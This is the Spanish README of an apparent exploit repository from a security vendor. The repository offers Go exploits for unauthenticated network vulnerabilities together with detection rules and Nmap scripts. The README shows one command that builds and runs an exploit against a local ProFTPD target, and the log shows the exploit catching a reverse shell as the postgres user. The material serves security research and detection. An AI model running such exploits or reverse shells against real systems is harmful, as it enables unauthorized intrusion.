
Exploits basados en Go para vulnerabilidades de red no autenticadas en routers, VPNs, appliances e IoT, empaquetados con PCAPs, reglas de Suricata/Snort/YARA/Sigma y scripts de Nmap.
El repositorio Initial Access Community de VulnCheck contiene exploits y artefactos asociados de nuestro producto propietario Initial Access Intelligence y de contribuciones de la comunidad. El enfoque típico de Initial Access son las vulnerabilidades basadas en red que no requieren interacción del usuario, con una fuerte preferencia por las vulnerabilidades no autenticadas. Los objetivos típicos incluyen routers, VPNs, servicios autoalojados (MobileIron, GitLab, Confluence, etc.), dispositivos de red, aplicaciones B2B y dispositivos IoT.
Los exploits están escritos en Go usando el framework go-exploit de VulnCheck. Cuando es posible, los exploits incluyen un verificador de objetivos y un escáner de versiones. Sin embargo, Initial Access no se trata solo de exploits. También nos importa el descubrimiento y la detección. Junto con los exploits, incluimos, cuando es posible:
Seguimos las mismas directrices que go-exploit para el diseño de exploits. Consulte la descripción general del paquete go-exploit.
$ cd feed/cve-2026-42167
$ make
$ ./build/cve-2026-42167_linux-amd64 -a -v -c -e -c2 SimpleShellServer -rhost 127.0.0.1 -rport 2121 -lhost 172.23.0.1 -lport 4446
time=2026-05-08T19:17:44Z level=STATUS msg="Starting listener on 172.23.0.1:4446"
time=2026-05-08T19:17:44Z level=STATUS msg="Validating ProFTPD target" host=127.0.0.1 port=2121
time=2026-05-08T19:17:44Z level=SUCCESS msg="Target verification succeeded!" host=127.0.0.1 port=2121 verified=true
time=2026-05-08T19:17:44Z level=STATUS msg="Running a version check on the remote target" host=127.0.0.1 port=2121
time=2026-05-08T19:17:44Z level=STATUS msg="This exploit has not implemented a version check" host=127.0.0.1 port=2121 vulnerable=notimplemented
time=2026-05-08T19:17:44Z level=STATUS msg="Building reverse shell to 172.23.0.1:4446"
time=2026-05-08T19:17:44Z level=STATUS msg="Sending COPY-to-program injection to 127.0.0.1:2121"
time=2026-05-08T19:17:44Z level=SUCCESS msg="Caught new shell from 172.23.0.2:49722"
time=2026-05-08T19:17:44Z level=STATUS msg="Active shell from 172.23.0.2:49722"
time=2026-05-08T19:17:48Z level=SUCCESS msg="Exploit successfully completed" exploited=true
$ id
uid=999(postgres) gid=999(postgres) groups=999(postgres)
feed/ - Exploits y artefactos específicos de vulnerabilidadesverification/ - Código compartido de verificación de objetivosshells/ - Código compartido de shells y payloadsexamples/ - Plantillas para crear nuevos exploitstools/ - Herramientas y utilidades del proyecto